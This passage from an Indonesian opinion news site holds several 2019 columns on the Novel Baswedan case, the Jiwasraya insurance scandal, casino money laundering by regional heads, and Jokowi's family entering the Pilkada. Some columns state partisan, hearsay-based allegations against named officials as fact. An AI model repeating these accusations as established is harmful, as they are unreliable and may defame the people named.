mewujudkan keadilan untuk memanusiakan. Untuk membuat manusia beradab dan bermartabat. Dan hebatnya mereka tahu kebalikannya atau sisi hitam demokrasi. Sisi hitam itu adalah tersedia ruang besar bagi demokrat picisan memutarbalikan, memalsukan, menggelamkan keadilan dan kebenaran. Argumen demokrasi, mereka tahu penuh warna-warni. Selalu dalam setiap warna warni argumen demokrasi itu dapat dipalsukan semudah setiap orang bernapas. Demokrat picisan, dalam konteks ini selalu cukup cerdas menyodorkan pertimbngan teknis dalam menutup keculasannya untuk menenggelamkan hukum. Tetapi tidak bagi demokrat tanpa lebel, tanpa suara. Bagi mereka hukum itu sama sekali bukan sekadar teks, teknis-strategi dan taktik- rigid dan sejenisnya. Bukan itu. Hukum adalah perkara hakikat manusia. Perkara hakikat manusia adalah perkara harkat dan martabat. Perkara harkat dan martabat manusia adalah pekara induk keadilan. Siapa yang mengerti hakikat manusia, ia mengerti hakikat harkat dan martabat manusia. Siapa yang mengerti hakikat dan martabat manusia, dia mengerti perkara hakikat keadilan. Siapa yang tahu dan mengerti hakikat keadilan ia tak kemana keadilan itu berinduk. Seagung apa keadilan itu. Keadilan itu tak bakal mampu meremehkan, menyembunyikannya untuk alasan apapun. Penegak hukum yang tidak mengerti hakikat manusia, yang juga berarti tak megerti hakikat keadilan. Mudah membelokan, bahkan menghancurkan hukum dengan rasa gembira. Penegak hukum pintar akan menggunakan kepintarannya memperbesar dan melicinkan jalan teknis menenggelamkan kasus. Ya karena jalan teknis adalah jalan otak. Sementara keadilan adalah jalan hati, dan jalan rasa. Jalan “hati” dengan alasan yang bisa didiskusikan, suka atau tidak, senang atau tidak, sedang dititi dengan hati-hati oleh Idham, Sang Kapolri dan Sigit Listio, sang Komandan Bareskrim. Itulah pelajaran lain yang diberikan keduanya. Keduanya, siapapun harus percaya, dalam kasus ini tahu lebih dari siapapun bahwa dua tersangka itu hanyalah awal yang kecil. Tuntun dan pandulah terus kelanjutan penyidikan dengan hati yang terdidik. Teruslah pergi ke detail fakta kredibel yang tersedia dalam kasus ini. Teruslah masuk ke dalam, ke sudut-sudut yang lebih menantang. Teruslah memandu hasrat terkendali dalam penyidikan kasus ini dengan serangkaian pertanyaan hipotetis kritis. Cara ini akan membawa Bapak berdua terlihat anggun, seanggun desiran angin pagi berdesir ditepian pantai. Postur memuakan kasus ini, yang kini mulai mencair, saya percaya tidak bakal Bapak berdua biarkan menemukan lagi momen untuk kembali bergairah, bergerak naik. Keberhasilan kecil ini, apapun alasannya, telah terlihat manis. Jagalah itu dengan baik. Bapak berdua telah memulai dengan sangat manis. Teruslah melangkah sampai fakta tak terbantahkan dan dipertentangkan berdasarkan timbangan keadilan menghadirkan akhir yang adil. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Perampokan Dana Jiwasraya dan Pengungkapan Kasus Novel, Mana Lebih Berbahaya?

Oleh: Tjahja Gunawan Jakarta, FNN - Menjelang akhir tahun 2019, terdapat dua isu besar yang menyedot perhatian publik. Pertama, kasus korupsi asuransi Jiwasraya yang mencapai Rp 13,7 Trilyun. Kasus ini sekarang sudah ditangani pihak kejaksaan agung. Tapi meskipun kejaksaan agung sudah memeriksa 89 saksi, sampai sekarang belum ada satu orangpun yang dijadikan sebagai tersangka. Langkah penyidikan yang dilakukan tim kejaksaan atas kasus korupsi di perusahaan asuransi Jiwasraya akan terus dipantau publik karena banyak dana masyarakat yang tersangkut di perusahaan BUMN tersebut. Bahkan ada sekitar 400-an warga Korea Selatan yang menyimpan dananya di perusahaan asuransi Jiwasraya terutama dalam produk investasi dan proteksi JS Saving Plan. Selain kasus Jiwasraya, pengungkapan kasus penyiraman air keras terhadap Novel Baswedan juga tidak kalah menarik. Pasalnya, setelah dua setengah tahun kasus ini mengambang dan tidak jelas, baru sekarang pelakunya bisa ditangkap. Dalam kasus ini, ibarat jeruk makan jeruk karena pelakunya adalah oknum aparat polisi yang masih aktif (di Brimob) yakni RM dan RB. Sementara pemeriksaan terhadap kedua oknum polisi tersebut, juga dilakukan oleh aparat kepolisian. Kasus ini juga menimbulkan banyak tanda tanya di benak masyarakat. Penyiraman air keras terhadap Novel Baswedan terjadi 11 April 2017, tapi mengapa baru terungkap di akhir tahun 2019 ? Padahal, aparat polisi sudah lama mengantongi alat bukti diantaranya berupa video CCTV proses penyiraman air keras tersebut. Justru setelah Kapolri dan Kabareskrim diganti, kasus Novel Baswedan ini baru bisa diungkap. Ada apa sebenarnya yang terjadi ? Begitulah pertanyaan masyarakat awam. Apakah ini terkait dengan kasus-kasus di kepolisian yang diungkapkan Novel Baswedan terutama menyangkut "Buku Merah". Seperti kita ketahui, Novel diserang pada 11 April 2017 saat berjalan menuju kediamannya, setelah menunaikan ibadah salat Subuh di Masjid Al Ihsan, Kelapa Gading, Jakarta Utara. Akibat penyiraman air keras ini, kedua mata Novel terluka parah. Dia sempat menjalani operasi mata di Singapura. Berbagai upaya telah dilakukan sebelumnya, namun polisi mengaku kesulitan menangkap pelaku atau dalang penyerangan terhadap Novel Baswedan. Polisi bahkan telah membentuk Tim Gabungan Pencari Fakta. Namun, hingga masa kerja tim itu berakhir, pelaku saat itu tidak berhasil ditangkap. Presiden Jokowi juga sempat memberi target ke Kapolri terdahulu, Jenderal Pol Tito Karnavian, untuk mengungkap kasus Novel dalam tiga bulan. Target itu diberikan Jokowi pada 19 Juli 2017, setelah tim gabungan pencari fakta yang dibentuk Tito gagal mengungkap kasus tersebut. Namun hingga tenggat waktu yang diberikan berakhir, kasus Novel belum juga terungkap. Jokowi justru mengangkat Tito Karnavian jadi Mendagri. Tapi begitu Kapolri digantikan oleh Jenderal (Pol) Idham Azis dan Kabareskrim yang baru dijabat Listyo Sigit Prabowo, barulah kasus Novel Baswedan bisa terungkap. Meski demikian, jangan sampai dua oknum polisi yang sudah dibekuk tersebut hanya dijadikan sebagai tumbal. Bareskrim harus mampu mengungkap aktor utama dibalik kasus penyiraman air keras terhadap penyidik KPK Novel Baswedan. Kalau nanti yang didakwa dan dipenjara hanya dua oknum polisi tersebut, sangat boleh jadi mereka hanyalah orang suruhan yang sengaja dijadikan korban. Sementara aktor intelektual atau pihak yang menyuruh melakukan penyiraman air keras terhadap Novel Baswedan, tidak diungkap secara terang benderang. Kembali pada pertanyaan tulisan ini, mana yang lebih berbahaya, kasus korupsi dana asuransi Jiwasraya atau kasus Novel Baswedan ?. Menurut penulis, keduanya sangat berbahaya bagi bangsa dan rakyat Indonesia. Dana asuransi yang dirampok sebesar Rp 13,7 trilyun, bukan hanya merugikan masyarakat dan negara tetapi juga bisa mengganggu industri asuransi secara keseluruhan. Industri asuransi merupakan lembaga kepercayaan sama halnya dengan perbankan. Jika masyarakat sudah tidak percaya lagi kepada perusahaan asuransi, jangan berharap industri jasa ini akan ini akan berkembang. Oleh karena itu, kejaksaan agung harus bisa bekerja dengan cepat, profesional, proporsional, cermat dan akurat. Kejagung harus bisa secepatnya menetapkan tersangka agar kasus korupsi Jiwasraya ini tidak menjadi bola liar. Kejaksaan Agung harus bisa menjelaskan keterlibatan mantan Direktur Keuangan Jiwasraya Harry Prasetyo dalam kasus korupsi ini. Sekaligus menjelaskan keterkaitan beliau saat menjadi Tenaga Ahli Utama Kedeputian III bidang Kajian dan Pengelolaan Isu-Isu Ekonomi Strategis di Kantor Staf Presiden (KSP). Kejakgung juga harus bisa menjawab pertanyaan publik selama ini yang menduga dana Jiwasraya digunakan untuk kegiatan kampanye Pilpres Jokowi pada tahun 2018. Kasus Jiwasraya maupun penyiraman air keras ke Novel Baswedan, kini sama-sama sedang ditangani aparat hukum. Yakni Kejakgung dan Bareskrim Mabes Polri. Jangan sampai perjalanan kasus hukum kedua kasus ini diintervensi oleh kelompok kepentingan bisnis dan politik. Wallahu a'lam bhisawab. Penulis wartawan senior.

Harry Prasetyo, dan Jejak Duo Tahir di Jiwasraya

Skandal Jiwasraya ini bisa menimbulkan krisis yang multi demensi. Bisa krisis kepercayaan terhadap produk-produk asuransi Indonesia. Bisa juga krisis politik dan krisis ekonomi. Padahal Indonesia hari ini sangat membutuhkan kepercayaan publik yang tinggi, baik publik di dalam negeri maupun luar negeri. By M. Rizal Fadillah Jakarta, FNN - Bagaimana mungkin Presiden Jokowi tidak pusing? Skandal yang multi dimensi kini menimpa bangsa Indonesia. Skandal itu ada di sektor keuangan, politik, maupun hukum. Bila salah dalam mengantisipasi dan menanganinya, maka Jokowi bisa jatuh dari kursi. Seriuskah ? Menurut Menteri Keuangan (Menkeu) kasus yang menimpa PT Asuransi Jiwasraya Rp 13,7 triliun ini terbilang besar dan berat untuk mengatasinya. Menkeu yang orangnya Amerika di Indonesia ini sedang bermain di kubangan Cina, yang pasti sangat faham betul dampak dan pengaruh globalnya. Setelah skandal kasus Jiwasraya terbuka, Otoritas Jasa Keuangan (OJK) yang selama menjadi pengawas industry asuransi, keliatan mulai ikut-ikutan mencari solusi. Betapa serius, penting dan genting masalah ini. Padahal kegiatan operasional PT Asuransi Jiwasraya selama ini berada di bawah pengawasan OJK. Kalau sekarang OJK baru mulai mencari solusi penyelesaian menyelesaikan, maka publik patut bertanya, memang selama ini OJK berada ada dimana? Selama ini OJK ngumpet dan sembunyi di bagian mananya Indonedsia? Pengawasan seperti apa saja yang sudah dilakukan oleh OJK terhadap Jiwasraya? Mungkinkah OJK sudah mengetahui masalah sejak lama, namun pura-pura menutup mata? Atau OJK ikut serta dalam permainan yang membangkrutkan PT Asuransi Jiwasraya? Kasus Jiwasraya ini terpaksa menyeret Duta Besar (Dubes) Korea Selatan untuk Indonesia angkat bicara. Dubes Kim Chang Beom minta pihak Jiwasraya untuk membereskan 470 warga Koere Selatan menjadi korban gagal bayar polis Asuransi Jiwasraya. Semoga saja besok-besok tidak ada lagi Dubes negaralain yang angkat bicara, karena warga negaranya tersangkut masalah ini. Persoalan Jiwasraya ini bisa membuat industri asuransi Indonesia kehilangan kepercayaan di mata masyarakat interasional. Publik internasional bisa saja menolak produk-produk asuransi yang berasal dari Indonesia. Apalagi skandal Jiwasraya melibatkan perusahaan asuransi papan atas. Persoalan lain yang membuat kita malu adalah PT Asuransi Jiwasraya berstatus perusahaan Badan Usaha Milik Negara (BUMN). Pemegang saham mayoritas setiap perusahan BUMN adalah pemerintah Republik Indonesia, melalui Menteri Keuangan. Sedangkan pengelolaan dan pengawasan manejemen perusahaan BUMN dilakukan Kementerian Negara BUMN. Ini Urusan Saya Presiden Jokowi biasanya melepas tanggungjawab kepada para bawahannya. Jokowi biasanya mengatakan "ini bukan urusan saya". “Ini urusannya menteri itu atau menteri ini”. Namun sekarang Jokowi harus menerima konsekuensi skandal PT Asuransi Jiwasraya. Jokowi terpaksa harus mengatakan "ini urusan saya, atau ini menjadi tanggungjawab saya". Masalah PT Asuransi Jiwasraya sekarang sudah semakin rumit, melingkar dan babalieut. Sebab diduga kuat ada keterlibatan lingkaran dalam Istana Negara atau Istana Kepresidenan. Diketahuai ada jejak sidik jari dari Tenaga Ahli Utama Staf Khusus, Kantor Kepala Staf Presiden (KSP) Harry Prasetyo. Harry Prasetyo adalah Mantan Direktur Keuangan PT Asuransui Jiwasraya. Harry menjabat sebagaik Direktur keuangan selama dua periode. Dia adalah aktor utama dari film berjudul “Skandal PT Asuransi Jiwasraya dengan kerugian Rp 13,7 trliun”. Dai juga yang menjadi pelaku kunci atas perampokan duit PT Asurans Jiwasraya tersebut. Uang polis nasabah sebesar Rp 13,7 triliun digoreng Harry melalui saham-saham papan lapis bawah di Bursa Efek Indonesia. Saham yang dulunya ketika digoreng, masih dihargai di atas seribu rupiah setiap saham. Namun kini harga saham-saham tersebut tinggal lebih dari seratus rupiah per saham. Dato Tahir Mayapada Setelah publik ramai membicarakan skandal PT Asuransi Jwasraya, kini muncul tokoh baru yang ikut dibicarakan. Tokoh itu adalah Dato Seri Tahir Mayapada. Anggota Dewan Petimbangan (Wantimpres) ini diduga kuat terkait dengan penggorengan saham-saham lapis bawah yang dibeli PT Asuransi Jiwasraya. Tahir yang mendapat gelar Dato Seri dari Kesultanan di Malaysia ini adalah pemilik kalompok usaha Mayapada Grup. Dia dia duduga menampung saham kakak-beradik Benny Tjokrosaputro dan Teddy Tjokrosaputro yang diberli dari Jiwasraya. Benny adalah pemilik PT Hanson International (MYRX), Sedangkan Teddy pemilik PT Rimo Internasional Lestari (RIMO). Kedua pengusaha kakak-berdik keturunan ini mendapat gelontoran dana investasi puluhan triliun rupiah dari Direktur Keuangan PT Asuransi Jiwasraya Harry Prasetyo. Polanya, PT Asuransi Jiwasraya membeli surat hutang jangka menengah dari PT Hanson Internasional dan PT Rimo Internasional Lestari. Setelah skandal ini terbongkar, belakangan tersiar kabar kalau kakak-beradik Benny Tjokrosaputro dan Teddy Tjokrosaputro dalam tahap pencekalan oleh penyidik dari Jaksa Agung Muda Pidana Khusus (Jampidsus). Jika pencekalan tidak segera dilakukan penyidik, dikhawatirkan mereka berdua akan melarikan diri dari proses penyidikan. Mereka berdua bisa setiap saat kabur duluan ke luar negeri sebelum pencekalan dikeluarkan ke penyidik Pidsus Gedung Bundar. Bisa mengikuti jejak kaburnya Harry Prasetyo yang sudah duluan melarikan diri ke luar negeri. Walaupun demikian, ada juga yang menduga Harry Prasetyo sengaja disuruh kabur. Bila kakak-beradik Brnny danb Teddy ikut kabur, maka dipasstikan akan sangat mengganggu kelancaran proses penyidikan di kejaksaan. Mereka di Sekitaran Istana Selian keterlibatan Harry Prasetyo dan Dato Seri Tahir Mayapada, muncul nama baru yang diduga juga punya kaitan dengan skandal PT Asuransi Jiwasraya, yaitu Erick Thohir. Sekarang Arick Tohir sudah menjabat Menteri Negara Badan Usaha Milik Negara (Meneg BUMN). Diduga ada uang Jiwasraya yang dipakai untuk membeli saham perusahaan Erick Thohir, PT Mahaka Media Tbk. Untuk sementara, dugaan keterlibatan Harry Prasetyo, Dato Seri Tahir Mayapada dan Erick Thohir membuat positioning istana semakin terjepit. Istana tampaknya bakal kesulitan menjawab tudingan publik tentang keterlibatan tiga orang penting di sekitaran Jokowi tersebut. Wajar-wajar saja kalau ada dugaan publik bahwa jebolnya dana masyarakat dalam bentuk polis asuransi di PT Asuransi Jiwasraya ada kaitan erat dengan dana Pemilihan Presiden (Pilpres) 2019. Apalagi posisi Erick Thohir pada Pilpres 2019 adalah Ketua Tim Pemenangan pasangan Jokowi-Ma'ruf Amin. Untuk menyelesaikan skandal Jiwasraya ini, rencannya pemerintah melalui Kementerian BUMN dan Kementerian Keuangan akan membentuk holding BUMN Asuransi. Namun keraguan atas opsi ini cukup tinggi di publik. Keraguan itu terutama karena tingkat kesehatan BUMN Asuransi sekarang di bawah rata-rata perusahaan asuransi. Yang paling sehat hanya perusahaan asuransi swasta. Jika pemerintah salah menyiapkan treatment terhadap skandal PT Asuransi Jiwasraya, bisa jadi bukan menyesaikan masalah yang sudah ada. Sebaliknya, malah memproduksi masalah. Jadinya, masalah utama tidak selesai, tetapi malah menambah masalah baru. Mengingat ceritra masih panjang, maka Erick Thohir, Sri Mulyani, dan tentu saja Jokowi seperti sedang berputar putar di "tong setan" (wall of death). Jika tidak pandai memicu dan mengendalikan kendaraan dengan baik, maka dipastikan akan jatuh dan tergelicir. Skandal Jiwasraya ini bisa menimbulkan krisis yang multi demensi. Bisa krisis kepercayaan terhadap produk-produk asuransi Indonesia. Bisa juga krisis politik dan krisis ekonomi. Padahal Indonesia hari ini sangat membutuhkan kepercayaan publik yang tinggi, baik publik di dalam negeri maupun luar negeri. Kini memang masih oleng oleng saja. Selamat berjibaku Mr. President. Jabatan Presiden rasanya tidak termasuk yang diasuransikan. Karenanya risiko harus ditanggung sendiri. Presiden harus buktikan bahwa tidak ada korupsi kolusi dan nepotisme dalam skandal PT Asuransi Jiwasraya. Rakyat hanya bisa jengkel sambil menyaksikan duit negara dirampok lagi. Apakah ini negara perampok? Penulis adalah Pemerhati Politik

Ironis! Ketua DPR RI Minta PPATK Tidak Publikasi Kepala Daerah Pencuci Uang

Oleh Mochamad Toha Jakarta, FNN - Presiden Joko Widodo dalam penegakan hukum tampaknya bakal mengalami kendala, menyusul kabar yang dirilis Pusat Pelaporan Analisis Transaksi Keuangan (PPATK) perihal adanya kepala daerah yang menyimpan uangnya di kasino luar negeri. Ironisnya, kendala itu justru datang dari Ketua DPR Puan Maharani yang juga politisi PDIP. Puan minta kepada pihak PPATK dan Kemendagri tak mengumbar para kepala daerah yang memiliki rekening di kasino, tempat perjudian di luar negeri ke publik. Puan menyatakan, bila diumumkan ke publik akan berpotensi menimbulkan simpang siur di tengah-tengah masyarakat. “Alangkah baiknya kalau hal-hal itu tak langsung dipublikasikan ke publik karena menimbulkan simpangsiur atau praduga bersalah pada yang bersangkutan,” kata Puan di Kompleks MPR/DPR, Senayan, Jakarta, Senin (16/12). Puan berharap, agar Kemendagri dan PPATK menyampaikan nama-nama tersebut ke pihak penegak hukum ketimbang ke publik. Sebab, lanjut dia, pihak penegak hukum yang memiliki kewenangan untuk menyelidiki kasus tersebut. “Yang kami harapkan dari PPATK kalau kemudian ada kasus per kasus tolong lapor ke kejaksaan, kepolisian, KPK atau pihak hukum yang bisa tindaklanjuti temuan tersebut,” kata Puan, seperti dilansir berbagai media online tersebut. Di tempat yang sama, Politikus PDIP Johan Budi mengaku terkejut terkait temuan PPATK tersebut. Ia beranggapan bahwa kasus tersebut sudah berlangsung beberapa kali hingga melibatkan banyak pejabat negara. “Harus segera ditelusuri, karena kepala daerah yang mempunyai dana sampai puluhan miliar dan kemudian ditaruh di kasino, ini pasti ada tanya besar, apakah ini dalam rangka untuk money laundering atau uang dari mana ini?” tutur Johan. Senada dengan Puan, melihat hal itu, Johan meminta agar PPATK menyampaikan langsung ke penegak hukum aliran dana untuk diusut tuntas. Ia juga menyarankan agar Kemendagri dapat memantau transfer dana pusat ke daerah yang selama ini dikelola pemerintah daerah. Menurut Johan, hal tersebut bertujuan agar penerimaan daerah itu dapat dimanfaatkan oleh masyarakat. Sebelumnya, PPATK mengungkap modus oknum kepala daerah yang melakukan pencucian uang lewat kasino atau tempat perjudian di luar negeri. Ketua PPATK Kiagus Badaruddin mengatakan pencucian uang via kasino jadi modus baru yang terendus pihaknya tahun ini. Dia bilang ada dua cara yang digunakan oknum kepala daerah dalam modus ini. “Menyimpannya (uang tersebut) betul dalam rekening kalau dia mau main dia tarik. Atau juga menyimpannya dalam bentuk membelikannya dalam koin,” kata Badaruddin , seperti dilansir CNNIndonesia.com, Senin (16/12/2019). Badaruddin menyampaikan detail, pelaku menukarkan uang hasil kejahatan dengan koin kasino di negara-negara tertentu. Kemudian mereka menunggu hingga jam operasi kasino berakhir untuk kembali menukarkan koin ke dalam bentuk uang tunai. Para oknum kepala daerah tersebut akan mendapat uang tunai plus tanda terima dari kasino. Setelah itu, tumpukan uang tunai itu diboyong ke Tanah Air dengan status legal. Pencucian uang yang dilakukan seperti ini akan mengurangi potensi penerimaan negara. Pasalnya, aset mereka menjadi sulit terdeteksi. PPATK menyebutkan, dana yang disimpan sejumlah kepala daerah dalam rekening permainan kasino luar negeri mencapai Rp 50 miliar. Ekonom Universitas Indonesia Fithra Faisal mengatakan modus pencucian uang ini terbilang baru. Dengan skema yang lebih canggih, maka pemerintah semakin sulit melacak keberadaan aset yang seharusnya terkena pajak. “Modusnya memang berkembang, mulai revolusi dari yang standard sekarang lebih canggih. Ini dari sisi pemerintahan ada sisi potensi penerimaan pajak yang hilang,” ucap Fithra kepada CNNIndonesia.com, Senin (16/12/2019). Wakil Ketua Majelis Syuro PKS Hidayat Nur Wahid mendesak PPATK, segera mengungkap nama-nama kepala daerah yang diduga memiliki dana berupa valuta asing dengan nominal setara Rp 50 miliar di rekening permainan kasino di luar negeri. “Jangan setengah-setengah mengungkap, tapi sampaikan sejelas-jelasnya dan sebut nama,” ujar Hidayat saat ditemui di sela Rapat Koordinasi Wilayah DPW PKS Jatim, di Surabaya, seperti dilansir CNNIndonesia.com, Senin (16/12/2019 08:29 WIB). Menurut Hidayat, PPATK haruslah mengungkap temuan itu dengan jelas dan transparan. Hal itu agar publik tak resah dan justru menuduh pihak yang tak terlibat. “Jangan hanya dibuat nanggung, tapi buka seterang benderang mungkin sehingga tidak ada yang menjadi tertuduh karena menebak-nebak,” ucapnya. Bahkan, Wakil Ketua MPR ini meminta PPATK harus berani mengusut tuntas temuannya ini jika ada politikus maupun pejabat lain yang turut terlibat. Yang terpenting PPATK jangan terkesan seolah-olah sudah bekerja, padahal itu bukan hanya kepala daerah. “PPATK harus menelusurinya sampai tingkat pusat, kemudian membukanya ke publik,” tegasnya. Mendagri Tito Karnavian sendiri sudah merespons soal ini. Tito mengatakan, akan menemui PPATK untuk mengkonfirmasi informasi terkait temuan itu. Minggu depan pihaknya akan koordinasikan ke PPATK. Tito mengaku, akan mendalami informasi PPATK lebih lanjut untuk mengetahui validitas faktanya. Ia juga mempersilakan lembaga penegak hukum untuk ikut menyelidiki informasi tersebut. Bagaimana dengan KPK? KPK masih menunggu langkah lanjutan dari PPATK terkait pencucian uang yang dilakukan kepala daerah tersebut. Wakil Ketua KPK Saut Situmorang belum bisa memastikan apakah pihaknya sudah menerima laporan PPATK terkait temuan dugaan pencucian uang tersebut. “Saya harus cek dulu ya,” kata Saut saat dihubungi CNNIndonesia.com,Senin (16/12/2019). Pihaknya akan menindaklanjuti jika sudah menerima hasil temuan itu dari PPATK, terutama untuk mengusut ada tidaknya dugaan tindak pidana korupsi di dalamnya. Menurut dia, sesuai dengan kewenangan KPK, pihaknya masih bergantung pada langkah lanjutan dari PPATK. Karena informasi itu merupakan milik PPATK yang punya wewenang sebagai Financial Intelligence Unit (FIU) sebagaimana diatur dalam UU Nomor 8/2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang. “Akan didalami seperti apa informasi intelijen PPATK itu bisa dikembangkan dan mencari pelaku tipikornya sesuai kewenangan KPK. Itu informasi intelijen (PPATK),” kata Saut. Apa yang diungkap PPATK itu bukan isapan jempol. Bahkan, tak hanya kepala daerah saja yang “bermain” dan cuci uang di kasino di luar negeri, seperti Macau. Menariknya, kali ini bukan kepala daerah, tapi anggota dewan “yang terhormat”. Nilainya fantastis! Konon, mencapai Rp 700 miliar. Karena, kalau main, dia tidak pernah kalau, selalu menang. Siapa beliau? *** Penulis wartawan senior.

Aji Mumpung atau Politik Dinasti Jokowi: Anak-Menantu Maju Pilkada 2020

Oleh Mochamad Toha Jakarta, FNN - Saat Agus Harimurty Yudhoyono maju Pilkada DKI Jakarta pada 2017, publik pun langsung menuding, Presiden RI ke-6 Susilo Bambang Yudhoyono sedang membangun politik dinasti. Padahal, kala itu SBY sudah tidak menjabat presiden lagi. Politisi Partai Demokrat Jansen Sitindaon menyinggung perihal nilai yang dipegang SBY. Ia menyebut, saat masih menjabat presiden SBY melarang anggota keluarga untuk mencalonkan diri dalam kontestasi Pilkada. “Pak SBY ketika itu berpikir presiden itu kan contoh kehidupan berbangsa,” tuturnya. Jansen menyatakan bahwa SBY kala itu enggan membentuk politik dinasti. “Jadi, dengan saya tidak memajukan saya saja di Pilkada, di daerah itu kan tumbuh politik dinasti,” kata SBY. “Apalagi kemudian kalau presiden yang sedang menjabat memajukan anak atau menantunya ke kontestasi Pilkada,” sindir Jansen, seperti dilansir TribunWow.com, Selasa (17 Desember 2019 10:11). Yang dimaksud Jansen itu adalah anak dan menantu Presiden Joko Widodo yang kini maju pada Pilkada 2020. Yakni, Gibran Rakabuming Raka yang maju pada Pilkada Kota Solo dan Bobby Nasution pada Pilkada Kota Medan. Pengamat Politik Adi Prayitno sayangkan langkah politik Gibran dan Bobby yang kemudian menyebutkan, Indonesia kini memasuki generasi keempat politik dinasti. Direktur Eksekutif Parameter Politik ini menyatakan ketidaksetujuannya atas langkah Gibran dan Bobby itu. Langkah politik tersebut dirasa Adi tidak sejalan dengan apa yang pernah dijanjikan Presiden Jokowi soal pernyataan tidak ikut sertakan keluarga dalam dunia politik. Bahwa pernyataan-pernyataan yang pernah dikeluarkan Jokowi soal partisipasi keluarga dalam ranah politik. “Menurut saya yang bikin dunia ini seakan runtuh karena Jokowi dalam banyak kesempatan bahkan dalam kampanyenya menyatakan tidak akan menyertakan keluarga besarnya dalam politik,” katanya dalam acara 'DUA ARAH' KompasTv, Senin (16/12/2019). Kehebohan majunya Gibran dan Bobby berdasarkan penjelasan Adi terjadi karena pernyataan Jokowi untuk tak ikut sertakan keluarga di ranah politik. Itu yang menjadi perdebatan, kenapa misalnya ada Bobby dan Gibran itu menjadi penting dalam satu diskursus dinasti politik. Menurut penilaian Adi, Jokowi memiliki nilai pembeda yang unik dibandingkan presiden-presiden sebelumnya. Keunikan tersebut adalah tidak mengajak keluarga terjun ke dunia politik. Namun, masuknya Gibran dan Bobby dalam kontestasi Pilkada, menurut Adi adalah bentuk nyata dari politik dinasti. “Tentu apa yang terjadi hari ini, itu beyond theory (di luar teori), beyond (di luar) sangkalan-sangkalan,” kata Adi. “Pak Jokowi sejak awal dianggap sebagai presiden yang memiliki nilai pembeda dengan presiden-presiden sebelumnya yang selalu mengajak keluarga besarnya menjadi bagian penting dalam politik,” ungkap Adi lagi. “Kalau mau kita sebut sebenarnya masuknya Gibran dan Bobby dalam lingkaran kekuasan politik, ini adalah bagian dari generasi keempat politik dinasti di Indonesia,” tambahnya, seperti dilansir TribunWow.com. Sebelumnya, politik dinasti juga terjadi di beberapa daerah saat Pilkada. Beberapa Kepala Daerah pernah “mewariskan” kepada anak istrinya. Di Bangkalan, misalnya, almarhum KH Fuad Amin Imron telah mewariskan kepada putranya. Di Kabupaten Probolinggo, Bupati Probolinggo juga mewariskan jabatannya kepada istrinya. Begitu pula Walikota Batu sebelumnya telah mewariskan jabatannya kepada istrinya. Itulah contoh politik dinasti yang terjadi di Jawa Timur. Pengamat Politik Hendri Satrio menyebut pencalonan Gibran merupakan ajang aji mumpung. Menurutnya, Gibran memanfaatkan nama besar sang ayah, Presiden Jokowi. Dalam tayangan YouTube KompasTV, Kamis (12/12/2019), Hendri menyebut ini momentum yang baik bagi Gibran untuk memenangkan Pilkada 2020. Mulanya, Hendri menyoroti keputusan Jokowi yang mengizinkan Gibran mencalonkan diri sebagai calon wali kota Solo 2020. Selain Gibran, menantu Jokowi, Bobby Nasution yang juga turut mencalonkan diri di Pilkada Medan 2020. “Kalau kemudian Pak Jokowi mempersilakan anak dan menantunya untuk maju di perhelatan Pilkada pada saat dia menjadi presiden, ini memang hal baru,” ujar Hendri. Namun, menurut Hendri banyak kasus serupa yang terjadi di daerah-daerah. “Tapi untuk seluruh Indonesia ini bukan hal baru karena memang banyak terjadi bahkan ada suaminya jadi bupati misalnya mempersiapkan istrinya menggantikan dirinya nanti, itu ada,” kata Hendri. Ia menyebut pencalonan Gibran dan Bobby pada Pilkada 2020 merupakan hal yang wajar. “Tapi pada saat kita memutuskan untuk memiliki demokrasi sebagai sistem pemerintahan hal-hal ini akan jadi wajar,” ujar Hendri. Ketua Bapilu DPP PDI-P Bambang Wuryanto berpendapat bahwa politik dinasti merupakan hal yang biasa terjadi. Hal itu ia katakan dalam menanggapi sejumlah kritik yang menganggap Presiden Jokowi tengah membangun dinasti politik. "Politik dinasti di wilayah dunia timur yang kayak gini, biasa. Bahwa dinasti atau tidak dinasti, kita ini di timur ada jarak dengan kekuasaan, itu biasa," ujar Bambang di Kantor DPP PDI-P, Jakarta, seperti dilansir Kompas.com, Rabu (11/12/2019). Kepada Jokowi Yth Presiden Jokowi. Dengan majunya Gibran putra kandung Bapak sebagai Cawalkot Solo melalui jalur PDI-P, dan Bobby menantu Bapak sebagai Cawalkot Medan melalui jalur Golkar, Bapak sedang menuju kepada pembuktian atas apa yang dituduhkan 45% rakyat Indonesia mengenai berbagai kebohongan dan politik pencitraan yang dilakukan selama 5 tahun yang lalu. Sekaligus perjalanan selama lima tahun ke depan sebagai pengkhiatan atas kepercayaan 55% pendukung Bapak. Padahal baru 55 hari pemerintahan periode kedua Bapak berjalan. Politik balas budi selamanya tidak akan pernah membuat negara manapun berjaya. Politik balas budi akan membuat rakyat sebagai pemilik sejati negara ini, akan menjadi budak bagi negaranya sendiri. Infrastruktur yang terbangun gegap gempita adalah panggung pencitraan terang benderang sekaligus menunjukkan betapa gelapnya jalan menuju penguasaan kekuasaan dan pemusatan sumber keuangan negara di tangan segelintir orang saja di bumi pertiwi ini. Ada 142 BUMN bersama dengan 800 perusahaan anak dan cucunya membuktikan bahwa pengerukan kekayaan negara, praktek money laundrying, korupsi, oligarki, manipulasi, dan nepotisme terus berlangsung sepanjang waktu, siapapun Presidennya, di negara Indonesia ini. Saya tidak katakan Bapak jahat kepada rakyat. Tetapi siapapun yang memegang kekuasaan legislatif, eksekutif, dan yudikatif, di pucuk pimpinan negara maupun daerah, ketika hanya memikirkan kelanggengan kekuasaan dan pemusatan kekayaan, terbukti telah membuat negara ini menjadi penjahat kolektif bagi rakyatnya sendiri secara sistemik dan sistematis. Bapak akan jahat bila membiarkan semua ini terjadi. Dan kejahatan modern yang paling berat dan paling bengis adalah ketika siapapun pemimpinnya, tega memangsa rakyatnya sendiri. Terpuruknya kesehatan rakyat dari tahun ke tahun, jumlah kesakitan yang semakin meningkat, jenjang kekayaan dan kemiskinan sebesar 630.000 dibanding 1 di negara ini, BPJS sebagai perusahaan asuransi kesehatan yang mewajibkan setiap warga negaranya menjadi nasabahnya dengan paksaan, adalah bentuk penindasan negara kepada rakyatnya yang sungguh-sungguh tidak bisa ditoleransi. Rakyat Indonesia, yang membutuhkan Ibu yaitu bumi pertiwi dan Bapak yaitu pemerintah yang bijak bestari, telah menjadi yatim piatu di negara miliknya sendiri. Semoga apa yang saya tulis di atas salah. Walaupun saya sangat optimis bahwa apa yang saya tulis adalah benar. Semoga Allah swt memberi hidayah bagi 